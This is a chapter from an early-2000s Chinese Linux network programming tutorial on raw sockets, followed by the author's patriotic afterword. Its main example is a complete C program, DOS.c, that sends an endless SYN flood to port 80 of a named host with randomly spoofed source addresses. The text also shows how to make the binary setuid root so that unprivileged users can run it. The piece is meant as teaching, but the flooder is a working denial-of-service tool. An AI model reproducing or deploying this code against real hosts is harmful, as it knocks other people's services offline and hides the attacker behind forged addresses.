原始套接字编程

Linux网络编程--10. 原始套接字 --11. 后记

来源: 作者:hoyt (2001-05-08 11:26:09)

10. 原始套接字 
    我们在前面已经学习过了网络程序的两种套接字(SOCK_STREAM,SOCK_DRAGM).在这一章 里面我们一起来学习另外一种 套接字--原始套接字(SOCK_RAW). 应用原始套接字,我们可以编写出由TCP和UDP套接字不能够实现的功能. 注意原始套接字只能够由有 root权限的人创建. 

10.1 原始套接字的创建 

 int sockfd(AF_INET,SOCK_RAW,protocol)

可以创建一个原始套接字.根据协议的类型不同我们可以创建不同类型的原始套接字 比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.详细的情况查看  下面我们以一个实例来说明原始套接字的创建和使用 

10.2 一个原始套接字的实例 
还记得DOS是什么意思吗?在这里我们就一起来编写一个实现DOS的小程序. 下面是程序的源代码 

/********************  DOS.c               *****************/
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define DESTPORT        80       /* 要攻击的端口(WEB)      */
#define LOCALPORT       8888

void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);

int main(int argc,char **argv)
{
 int sockfd;
 struct sockaddr_in addr;
 struct hostent *host;
 int on=1;
 
 if(argc!=2)
 {
        fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
        exit(1);
 }
 
 bzero(&addr,sizeof(struct sockaddr_in));
 addr.sin_family=AF_INET;
 addr.sin_port=htons(DESTPORT);
 
 if(inet_aton(argv[1],&addr.sin_addr)==0)
 {
        host=gethostbyname(argv[1]);
        if(host==NULL)
        {
                fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
                exit(1);
        }
        addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
 }
 
 /**** 使用IPPROTO_TCP创建一个TCP的原始套接字    ****/

 sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
 if(sockfd<0)
 {
        fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
        exit(1);
 }
/********  设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写  ***/
 
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));

/****  没有办法,只用超级护用户才可以使用原始套接字    *********/
 setuid(getpid());

/*********  发送炸弹了!!!!          ****/
 send_tcp(sockfd,&addr);
} 



/*******  发送炸弹的实现   *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
 char buffer[100];  /**** 用来放置我们的数据包  ****/
 struct ip *ip;
 struct tcphdr *tcp;
 int head_len;
 
 /******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度  ***/
 
 head_len=sizeof(struct ip)+sizeof(struct tcphdr);
 
 bzero(buffer,100);

 /********  填充IP数据包的头部,还记得IP的头格式吗?     ******/ 
 ip=(struct ip *)buffer;
 ip->ip_v=IPVERSION;             /** 版本一般的是 4      **/
 ip->ip_hl=sizeof(struct ip)>>2; /** IP数据包的头部长度  **/
 ip->ip_tos=0;                   /** 服务类型            **/
 ip->ip_len=htons(head_len);     /** IP数据包的长度      **/
 ip->ip_id=0;                    /** 让系统去填写吧      **/
 ip->ip_off=0;                   /** 和上面一样,省点时间 **/        
 ip->ip_ttl=MAXTTL;              /** 最长的时间   255    **/
 ip->ip_p=IPPROTO_TCP;           /** 我们要发的是 TCP包  **/ 
 ip->ip_sum=0;                   /** 校验和让系统去做    **/
 ip->ip_dst=addr->sin_addr;      /** 我们攻击的对象      **/
 
 /*******  开始填写TCP数据包                           *****/
 tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
 tcp->source=htons(LOCALPORT);
 tcp->dest=addr->sin_port;           /** 目的端口    **/
 tcp->seq=random();
 tcp->ack_seq=0;
 tcp->doff=5;
 tcp->syn=1;                        /** 我要建立连接 **/
 tcp->check=0;

 
 /** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^  **/
 while(1)
  {
 /**  你不知道我是从那里来的,慢慢的去等吧!      **/
    ip->ip_src.s_addr=random();     

 /** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */
 /**            下面这条可有可无    */
    tcp->check=check_sum((unsigned short *)tcp,
                sizeof(struct tcphdr)); 
    sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
  }
}

/* 下面是首部校验和的算法,偷了别人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
 register int nleft=len;
 register int sum=0;
 register short *w=addr;
  short answer=0;
 
 while(nleft>1)
 {
  sum+=*w++;
  nleft-=2;
 }
 if(nleft==1)
 {
  *(unsigned char *)(&answer)=*(unsigned char *)w;
  sum+=answer;
 }
  
 sum=(sum>>16)+(sum&0xffff);
 sum+=(sum>>16);
 answer=~sum;
 return(answer);
}

编译一下,拿localhost做一下实验,看看有什么结果.(千万不要试别人的啊). 为了让普通用户可以运行这个程序,我们应该将这个程序的所有者变为root,且 设置setuid位 

 [root@hoyt /root]#chown root DOS
 [root@hoyt /root]#chmod +s DOS


10.3 总结 
原始套接字和一般的套接字不同的是以前许多由系统做的事情,现在要由我们自己来做了. 不过这里面是不是有很多的乐趣呢. 当我们创建了一个 TCP套接字的时候,我们只是负责把我们要发送的内容(buffer)传递给了系统. 系统在收到我们的数据后,回自动的调用相应的模块给数据加上TCP 头部,然后加上IP头部. 再发送出去.而现在是我们自己创建各个的头部,系统只是把它们发送出去. 在上面的实例中,由于我们要修改我们的源IP地址, 所以我们使用了setsockopt函数,如果我们只是修改TCP数据,那么IP数据一样也可以由系统来创建的. 

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11. 后记
  总算完成了网络编程这个教程.算起来我差不多写了一个星期,原来以为写这个应该是一件 不难的事,做起来才知道原来有很多的地方都比我想象的要难.我还把很多的东西都省略掉了 不过写完了这篇教程以后,我好象对网络的认识又增加了一步. 

  如果我们只是编写一般的 网络程序还是比较容易的,但是如果我们想写出比较好的网络程序我们还有着遥远的路要走. 网络程序一般的来说都是多 进程加上多线程的.为了处理好他们内部的关系,我们还要学习 进程之间的通信.在网络程序里面有着许许多多的突发事件,为此我们还要去学习更高级的 事件 处理知识.现在的信息越来越多了,为了处理好这些信息,我们还要去学习数据库. 如果要编写出有用的黑客软件,我们还要去熟悉各种网络协议.总之我们要学 的东西还很多很多. 

  看一看外国的软件水平,看一看印度的软件水平,宝岛台湾的水平,再看一看我们自己的 软件水平大家就会知道了什么叫做差距.我们现在用的软件有几个是我们中国人自己编写的.  

  不过大家不要害怕,不用担心.只要我们还是清醒的,还能够认清我们和别人的差距, 我们就还有希望. 毕竟我们现在还年轻.只要我们努力,认真的去学习,我们一定能够学好的.我们就可以追上别人直到超过别人! 

相信一点: 

            别人可以做到的我们一样可以做到,而且可以比别人做的更好! 

   勇敢的年轻人,为了我们伟大祖国的软件产业,为了祖国的未来,努力的去奋斗吧!祖国会记住你们的! 


hoyt 

11.1 参考资料 
<<实用UNIX编程>>---机械工业出版社. 

<>--清华大学出版社.